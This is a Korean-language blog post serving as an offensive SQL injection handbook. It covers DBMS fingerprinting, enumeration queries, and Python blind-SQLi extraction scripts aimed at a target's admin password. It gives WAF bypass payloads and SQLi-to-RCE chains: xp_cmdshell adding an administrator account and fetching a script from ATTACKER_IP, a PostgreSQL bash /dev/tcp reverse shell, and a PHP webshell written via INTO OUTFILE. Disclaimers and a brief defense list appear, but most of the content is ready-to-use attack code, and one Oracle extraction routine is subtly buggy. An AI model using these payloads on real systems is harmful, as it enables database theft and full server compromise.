/보안 기법/SQL Injection 심화 — DBMS별 공격구문, WAF 우회, RCE까지
웹 취약점2025-04-22

SQL Injection 심화 — DBMS별 공격구문, WAF 우회, RCE까지

DBMS 종류 식별부터 Blind SQLi 자동화 코드, JSON 기반 WAF 우회, MSSQL xp_cmdshell RCE, PostgreSQL COPY TO PROGRAM까지. 실무 침투 테스트에서 자주 쓰는 기법 총정리.

#SQLi#MySQL#MSSQL#Oracle#PostgreSQL#WAF우회#RCE#Blind#xp_cmdshell

기본 원리: DBMS 내부 구조

SQL이 실행되는 과정

DBMS는 클라이언트에서 SQL 문자열을 받아 다음 과정으로 처리한다:

1. 렉서(Lexer): SQL 문자열을 토큰으로 분리
   "SELECT * FROM users WHERE id = 1"
   → [SELECT] [*] [FROM] [users] [WHERE] [id] [=] [1]

2. 파서(Parser): 토큰을 문법 트리(AST)로 변환
   검증: 문법 오류, 테이블/컬럼 존재 여부

3. 옵티마이저(Optimizer): 실행 계획 최적화
   인덱스 사용 여부, JOIN 순서 결정

4. 실행 엔진: 실제 데이터 조회/변경

SQL Injection이 가능한 이유: DBMS는 렉서 단계에서 이미 문자열을 파싱한다. 사용자 입력이 쿼리에 직접 삽입되면, 입력 안의 SQL 특수문자(', --, ; 등)가 쿼리의 구조 자체를 바꿔버린다.

# 취약한 코드
user_input = "' OR '1'='1"
query = f"SELECT * FROM users WHERE name = '{user_input}'"
# 결과: SELECT * FROM users WHERE name = '' OR '1'='1'
#                                         ↑ 항상 참 → 모든 레코드 반환

# 안전한 코드 (Prepared Statement)
cursor.execute("SELECT * FROM users WHERE name = ?", (user_input,))
# DBMS가 ? 자리에 name = 'user_input' 으로 파라미터 바인딩
# 특수문자가 SQL 구문으로 해석되지 않고 문자열 값으로만 처리됨

0. DBMS 종류 식별

SQLi 취약점 발견 후 가장 먼저 할 일은 대상 DBMS 파악이다. DBMS마다 SQL 문법, 시스템 테이블, 내장 함수가 다르다.

-- 문자열 연결 연산자 차이로 식별
-- 입력값이 그대로 SQL에 삽입되는 구조에서:

te' 'st   -- MySQL: 공백은 문자열 연결자 → 'test'와 동일 → 정상 결과
te'+'st   -- MSSQL: + 연결자 → 'test' → 정상 결과  
te'||'st  -- Oracle/PostgreSQL: || 연결자 → 'test' → 정상 결과

-- 버전 확인 (에러 기반 또는 UNION 사용)
SELECT @@version         -- MySQL, MSSQL
SELECT version()         -- PostgreSQL
SELECT * FROM v$version  -- Oracle

-- MySQL 전용 주석 문법
SELECT 1+1 -- comment
SELECT 1+1 #comment      -- MySQL만 # 주석 지원
SELECT 1+1 /*comment*/   -- 공통
DBMS 연결 연산자 주석 버전 함수
MySQL (공백) 또는 CONCAT() --, #, /**/ @@version
MSSQL + --, /**/ @@version
Oracle || --, /**/ SELECT * FROM v$version
PostgreSQL || 또는 CONCAT() --, /**/ version()

1. DBMS별 정보 추출 구문

MySQL

-- 현재 DB 이름
SELECT DATABASE();

-- 모든 DB 목록 (information_schema)
SELECT schema_name FROM information_schema.schemata;

-- 테이블 목록
SELECT table_name FROM information_schema.tables 
WHERE table_schema = DATABASE() LIMIT 0,1;

-- 컬럼 목록
SELECT column_name FROM information_schema.columns 
WHERE table_name = 'users' LIMIT 0,1;

-- GROUP_CONCAT으로 한 번에 여러 값 추출 (UNION-based에서 유용)
SELECT GROUP_CONCAT(table_name SEPARATOR ',') 
FROM information_schema.tables 
WHERE table_schema = DATABASE();

MSSQL

-- 현재 DB
SELECT DB_NAME();
-- 모든 DB
SELECT name FROM sys.databases;

-- 테이블 목록 (두 가지 방법)
SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE';
SELECT name FROM sys.tables;

-- 컬럼 목록
SELECT column_name FROM information_schema.columns WHERE table_name = 'users';
SELECT c.name FROM sys.columns c 
WHERE c.object_id = OBJECT_ID('users');

-- 현재 DB 사용자 및 권한
SELECT SYSTEM_USER;               -- SQL Server 로그인 계정
SELECT USER_NAME();               -- DB 사용자명
SELECT IS_SRVROLEMEMBER('sysadmin');  -- sysadmin 여부 (1=예)

Oracle

-- 현재 사용자(스키마)
SELECT USER FROM dual;
-- 모든 사용자 목록
SELECT username FROM all_users;

-- 현재 스키마의 테이블
SELECT table_name FROM user_tables;
-- 특정 스키마의 테이블
SELECT table_name FROM all_tables WHERE owner = 'SCHEMA_NAME';

-- 컬럼 조회 (rownum으로 페이지네이션)
SELECT column_name FROM ALL_TAB_COLUMNS 
WHERE table_name = 'USERS' AND rownum = 1;

-- 데이터 추출 (LIMIT 없음, rownum 사용)
SELECT * FROM (
    SELECT col, ROWNUM as r FROM table_name
) WHERE r = 1;

PostgreSQL

-- 현재 DB
SELECT current_database();
-- 모든 DB
SELECT datname FROM pg_database;

-- 테이블 목록 (두 가지 방법)
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
SELECT tablename FROM pg_tables WHERE schemaname = 'public';

-- 컬럼 (시스템 카탈로그)
SELECT attname, format_type(atttypid, atttypmod)
FROM pg_attribute
WHERE attrelid = 'users'::regclass
  AND attnum > 0
  AND NOT attisdropped;

-- 현재 사용자 권한
SELECT current_user;
SELECT pg_has_role('superuser', 'MEMBER');  -- 슈퍼유저 여부

2. Blind SQLi 자동화 Python 코드

Boolean-based Blind — 기본 원리

서버가 에러나 결과를 직접 반환하지 않지만, 쿼리가 참일 때와 거짓일 때 응답이 다른 경우를 이용한다.

import requests
import string
import time

url = 'https://target.com/search'
headers = {"User-Agent": "Mozilla/5.0"}
cookies = {"session": "your_session_cookie"}

# 데이터 추출 함수: 한 글자씩 ASCII 값 비교
def extract_data(query_template: str, max_rows: int = 10):
    charset = string.ascii_letters + string.digits + "_-@. "
    results = []
    
    for row in range(max_rows):
        # 길이 먼저 추출 (최대 50자 가정)
        length = 0
        for i in range(1, 51):
            # CASE WHEN: 조건 참이면 1, 거짓이면 2
            payload = f"' AND 1=(CASE WHEN LENGTH(({query_template} LIMIT {row},1))={i} THEN 1 ELSE 2 END) -- -"
            r = requests.post(url, headers=headers, cookies=cookies,
                              data={"q": payload}, timeout=10)
            time.sleep(0.3)
            
            if '정상응답' in r.text:  # 참일 때 나타나는 키워드로 교체
                length = i
                break
        
        if length == 0:
            break
        
        # 길이만큼 각 글자 추출
        result = ''
        for pos in range(1, length + 1):
            for ch in charset:
                payload = (f"' AND 1=(CASE WHEN "
                          f"ASCII(SUBSTRING(({query_template} LIMIT {row},1),{pos},1))"
                          f"=ORD('{ch}') THEN 1 ELSE 2 END) -- -")
                r = requests.post(url, headers=headers, cookies=cookies,
                                  data={"q": payload}, timeout=10)
                time.sleep(0.3)
                
                if '정상응답' in r.text:
                    result += ch
                    print(f"  [{row}][{pos}] → '{ch}'")
                    break
        
        print(f"행 {row}: {result}")
        results.append(result)
    
    return results

# 사용 예시
extract_data("SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()")
extract_data("SELECT password FROM users WHERE username='admin'")

Binary Search 최적화 — 요청 수 대폭 감소

선형 탐색은 ASCII 범위(127자)만큼 요청을 보낸다. 이진 탐색으로 log2(127) ≈ 7회로 줄인다.

def extract_char_binary(query: str, row: int, pos: int) -> int:
    """이진 탐색으로 한 글자의 ASCII 값 추출 (최대 7회 요청)"""
    lo, hi = 32, 126  # 출력 가능 ASCII 범위
    
    while lo < hi:
        mid = (lo + hi + 1) // 2  # 올림 나눗셈 (무한루프 방지)
        
        payload = (f"' AND 1=(CASE WHEN "
                  f"ASCII(SUBSTRING(({query} LIMIT {row},1),{pos},1))>={mid}"
                  f" THEN 1 ELSE 2 END) -- -")
        
        r = requests.post(url, headers=headers, cookies=cookies,
                          data={"q": payload}, timeout=10)
        time.sleep(0.2)
        
        if '정상응답' in r.text:
            lo = mid
        else:
            hi = mid - 1
    
    return lo

# 전체 데이터 추출
query = "SELECT secret FROM flags"
for row in range(5):
    length = extract_length(query, row)  # 위 length 추출 코드 참고
    result = ''
    for pos in range(1, length + 1):
        ascii_val = extract_char_binary(query, row, pos)
        result += chr(ascii_val)
    print(f"행 {row}: {result}")

Oracle — Unicode 문자 추출 (ASCIISTR 활용)

Oracle에서 한글 등 멀티바이트 문자는 ASCII() 함수로 처리할 수 없다. ASCIISTR()은 비ASCII 문자를 \XXXX 형식의 16진수 유니코드로 변환해준다.

import requests, time, urllib.parse
requests.packages.urllib3.disable_warnings()

cookies = {"JSESSIONID": "your_session"}
url = "https://target.com/search"
SUCCESS_MARKER = "expected_text"

def oracle_send(payload: str) -> bool:
    r = requests.post(url, cookies=cookies, data={"param": payload},
                      verify=False, timeout=10)
    time.sleep(0.8)
    return SUCCESS_MARKER in r.text

# Oracle rownum 기반 페이지네이션
BASE_QUERY = "(SELECT col FROM (SELECT col, ROWNUM AS r FROM target_table) WHERE r = {row})"

def get_oracle_char(row: int, pos: int) -> str:
    q = BASE_QUERY.format(row=row)
    
    # ASCIISTR이 \로 시작하면 비ASCII(한글 등) 문자
    payload = f"AND 1=(CASE WHEN SUBSTR(ASCIISTR(SUBSTR({q},{pos},1)),1,1)='\\' THEN 1 ELSE 2 END)"
    is_unicode = oracle_send(payload)
    
    if not is_unicode:
        # ASCII 문자: 이진 탐색
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi + 1) // 2
            payload = f"AND 1=(CASE WHEN ASCII(SUBSTR({q},{pos},1))>={mid} THEN 1 ELSE 2 END)"
            lo = mid if oracle_send(payload) else hi
            hi = mid - 1 if not oracle_send(payload) else hi
        return chr(lo)
    
    # 유니코드 문자: ASCIISTR 결과에서 4자리 16진수 추출
    hex_str = ""
    for hex_pos in range(2, 6):  # \XXXX에서 X 4개
        lo, hi = 0, 16
        while lo < hi:
            mid = (lo + hi) // 2
            # INSTR로 16진수 자리 값 확인
            payload = (f"AND 1=(CASE WHEN "
                      f"INSTR('0123456789ABCDEF',UPPER(SUBSTR(ASCIISTR(SUBSTR({q},{pos},1)),{hex_pos},1)))"
                      f">={mid + 1} THEN 1 ELSE 2 END)")
            lo = mid + 1 if oracle_send(payload) else lo
            hi = mid if not oracle_send(payload) else hi
        hex_str += format(lo - 1, 'X')
    
    return chr(int(hex_str, 16))

3. WAF 우회 기법

MySQL 조건부 실행 주석

MySQL 전용 확장 주석 /*!버전번호*/은 해당 버전 이상에서만 주석 내부를 실행한다. WAF는 일반 주석으로 인식해 통과하지만, MySQL은 실제 SQL로 실행한다.

-- /*!버전*/ 주석 안의 코드는 MySQL 버전 이상에서만 실행
SELECT /*!50000 * */ FROM users;
-- MySQL 5.0.0 이상: SELECT * FROM users
-- WAF: SELECT  FROM users (주석으로 인식, 오류로 무시)

-- UNION SELECT 차단 우회
id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 -- -

-- 키워드 사이 주석 삽입 (WAF 패턴 매칭 우회)
id=1' UNION/**/SELECT/**/1,2,3 -- -
id=1' UN/**/ION SEL/**/ECT 1,2,3 -- -

JSON 함수 기반 Tautology (WAF 우회)

WAF가 OR 1=1 같은 패턴을 탐지할 때, JSON 함수를 사용해 항상 참이 되는 조건을 만든다.

-- 전통적 tautology (WAF 탐지 쉬움)
' OR 1=1 --
' OR 'a'='a' --

-- JSON 기반 tautology (WAF 패턴 탐지 어려움)

-- PostgreSQL (@> 연산자: JSON 포함 여부)
' OR '{"b":2}'::jsonb @> '{"b":2}'::jsonb --
-- '{"b":2}'가 '{"b":2}'를 포함? → 항상 참

-- MySQL (JSON_EXTRACT)
' OR JSON_EXTRACT('{"id":1}', '$.id') = 1 --
' OR JSON_KEYS('{"a":1}') LIKE '%a%' --

-- MSSQL (JSON_VALUE, SQL Server 2016+)
' OR JSON_VALUE('{"x":1}', '$.x') = '1' --
' OR ISJSON('{"valid":true}') = 1 --

-- Oracle (JSON_VALUE, Oracle 12c+)
' OR JSON_VALUE('{"a":1}', '$.a' RETURNING NUMBER) = 1 --

HTTP Parameter Pollution (HPP)

동일한 파라미터를 여러 번 전송하면 서버에 따라 처리 방식이 다르다. WAF와 백엔드 앱이 서로 다른 값을 보는 점을 악용한다.

# ASP.NET/IIS: 두 값을 콤마로 합침
GET /search?q=SELECT+name&q=FROM+users
→ ASP.NET에서 q = "SELECT name,FROM users" → 실질적으로 SQL 조각 완성

# WAF가 첫 번째 파라미터 "SELECT name"만 보면 완전한 SQL이 아니라 통과
# 백엔드 ASP.NET이 두 값을 합쳐 "SELECT name,FROM users" 처리

# PHP/Apache: 마지막 값 사용
# JSP/Tomcat: 첫 번째 값 사용
서버/언어 동일 파라미터 처리 비고
ASP.NET/IIS 콤마로 합침 val1,val2
PHP/Apache 마지막 값 val2
JSP/Tomcat 첫 번째 값 val1
Perl/Apache 첫 번째 값 val1

4. SQL Injection → RCE

MSSQL — xp_cmdshell

MSSQL의 xp_cmdshell은 SQL Server 프로세스 권한으로 OS 명령을 실행하는 저장 프로시저다.

전제 조건:

  • DB 연결 계정이 sysadmin 역할 보유
  • Stacked Queries 지원 (;으로 여러 쿼리 연결 가능한 환경)
-- 1단계: 현재 권한 확인
SELECT IS_SRVROLEMEMBER('sysadmin');  -- 1이면 sysadmin 권한 있음
SELECT SYSTEM_USER;                    -- SQL Server 로그인명 (sa가 이상적)
SELECT USER_NAME();                    -- DB 사용자명

-- 2단계: xp_cmdshell 상태 확인
SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell';
-- 1 = 활성화됨, 0 = 비활성화 → 3단계 필요

-- 3단계: xp_cmdshell 활성화 (sysadmin 필요)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- 4단계: OS 명령 실행
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'dir C:\';
EXEC xp_cmdshell 'net user hacker P@ssw0rd /add';
EXEC xp_cmdshell 'net localgroup Administrators hacker /add';

SQLi에서 리버스 쉘까지:

-- Stacked Queries로 xp_cmdshell 활성화 + 리버스 쉘
id=1';
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
EXEC xp_cmdshell 'powershell -nop -enc BASE64_ENCODED_REVERSESHELL';
--

-- 또는 HTTP로 스크립트 다운로드 후 실행
id=1'; EXEC xp_cmdshell 'powershell IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER_IP/rev.ps1'')' --

-- DECLARE로 WAF 우회 (키워드 분산)
id=1';
DECLARE @cmd NVARCHAR(4000);
SET @cmd = CONCAT(N'powershell -nop ', N'-c "reverse shell code"');
EXEC xp_cmdshell @cmd;
--

방어:

1. DB 연결 계정 sysadmin 권한 절대 금지 (최소 권한 원칙)
2. xp_cmdshell 영구 비활성화 + 주기적 점검
3. SQL Server 서비스 계정을 전용 저권한 계정으로 실행
4. Stacked Queries 차단 (ORM 사용, API 레이어에서 단일 쿼리 강제)
5. WAF/DAM에서 xp_cmdshell, sp_configure 키워드 탐지

PostgreSQL — COPY TO PROGRAM

PostgreSQL의 COPY TO PROGRAM은 쿼리 결과를 외부 프로그램으로 파이프한다. superuser 또는 pg_execute_server_program 역할이 있으면 OS 명령을 실행할 수 있다.

-- 권한 확인
SELECT current_user;
SELECT usesuper FROM pg_user WHERE usename = current_user;

-- OS 명령 실행
COPY (SELECT 1) TO PROGRAM 'id > /tmp/out.txt';
COPY (SELECT 1) TO PROGRAM 'cat /etc/passwd > /tmp/out.txt';

-- 결과를 테이블로 받기
CREATE TABLE cmd_output(output text);
COPY cmd_output FROM PROGRAM 'id; hostname; uname -a';
SELECT * FROM cmd_output;

-- 리버스 쉘
COPY (SELECT 1) TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

-- SQLi 페이로드
'; COPY (SELECT 1) TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' --

MySQL — INTO OUTFILE / DUMPFILE

MySQL에서 SELECT 결과를 파일로 쓰는 기능. 웹 루트에 PHP 웹쉘을 쓸 수 있으면 RCE가 된다.

-- 전제 조건: FILE 권한, secure_file_priv 설정 확인
SHOW VARIABLES LIKE 'secure_file_priv';
-- '' (빈 값) = 제한 없음, '/tmp' = /tmp에만 허용

-- 웹쉘 쓰기
SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE '/var/www/html/shell.php';

-- 실행
-- http://target.com/shell.php?cmd=id

-- 파일 읽기 (LOAD_FILE)
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/etc/shadow');

-- SQLi 페이로드
' UNION SELECT '<?php system($_REQUEST["c"]); ?>' INTO OUTFILE '/var/www/html/c.php' --

핵심 체크리스트

침투 테스트 SQL Injection 순서:

Step 1: DBMS 식별
  - 문자열 연결 연산자 차이로 판단
  - 에러 메시지 패턴 분석
  - 버전 조회 쿼리 시도

Step 2: 취약 포인트 확인
  - GET/POST 파라미터, Cookie, HTTP 헤더 (User-Agent, X-Forwarded-For 등)
  - JSON 바디 파라미터
  - 숫자형 vs 문자열형 파라미터 구별 (따옴표 필요 여부)

Step 3: 에러 기반 (Error-based) 시도
  - 에러 메시지가 응답에 포함되는지 확인
  - EXTRACTVALUE(), UPDATEXML() (MySQL) 등으로 데이터 추출

Step 4: UNION 기반 시도
  - 컬럼 수 파악: ORDER BY N 으로 증가시키며 에러 여부 확인
  - 출력 컬럼 파악: UNION SELECT NULL,NULL... 에서 NULL 대신 문자열 삽입
  - 데이터 추출

Step 5: Blind 방식 (에러/응답 차이 없는 경우)
  - Boolean-based: 조건에 따라 응답 크기/내용이 달라지는지 확인
  - Time-based: SLEEP(5) (MySQL), WAITFOR DELAY '0:0:5' (MSSQL)
  - Python 자동화 스크립트 작성 (이진 탐색으로 효율화)

Step 6: WAF 감지 및 우회
  - 응답 코드 403, 406 → WAF 존재 가능성
  - 조건부 주석, JSON 함수, HPP 등 적용

Step 7: 권한 확인 및 RCE 시도
  - 현재 DB 사용자 권한 확인
  - 가능하면 xp_cmdshell (MSSQL) / COPY TO PROGRAM (PgSQL) / INTO OUTFILE (MySQL)

⚠️ 이 내용은 허가된 침투 테스트 환경에서만 사용해야 한다. 무단 적용은 법적 처벌을 받을 수 있다.

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.